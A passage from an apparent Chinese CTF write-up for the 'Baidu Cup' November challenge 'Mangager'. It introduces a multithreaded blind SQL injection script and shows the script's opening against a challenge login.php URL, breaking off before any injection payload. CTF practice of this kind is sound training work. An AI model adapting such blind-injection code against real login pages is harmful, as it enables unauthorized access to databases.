此题前半部分分析见“百度杯”CTF比赛 十一月场 题目名称:Mangager_CodeRoc的博客-CSDN博客
每日CTF Web:Mangager_LUV_YOUJUN的博客-CSDN博客
这里主要贴一个多线程盲注的代码
import hashlib
import time
import requests
import queue
import threading
def check(i,j):
url = "http://eci-2zea1v5ngteykp6e755h.cloudeci1.ichunqiu.com/login.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
suffix = "YTY0YjM0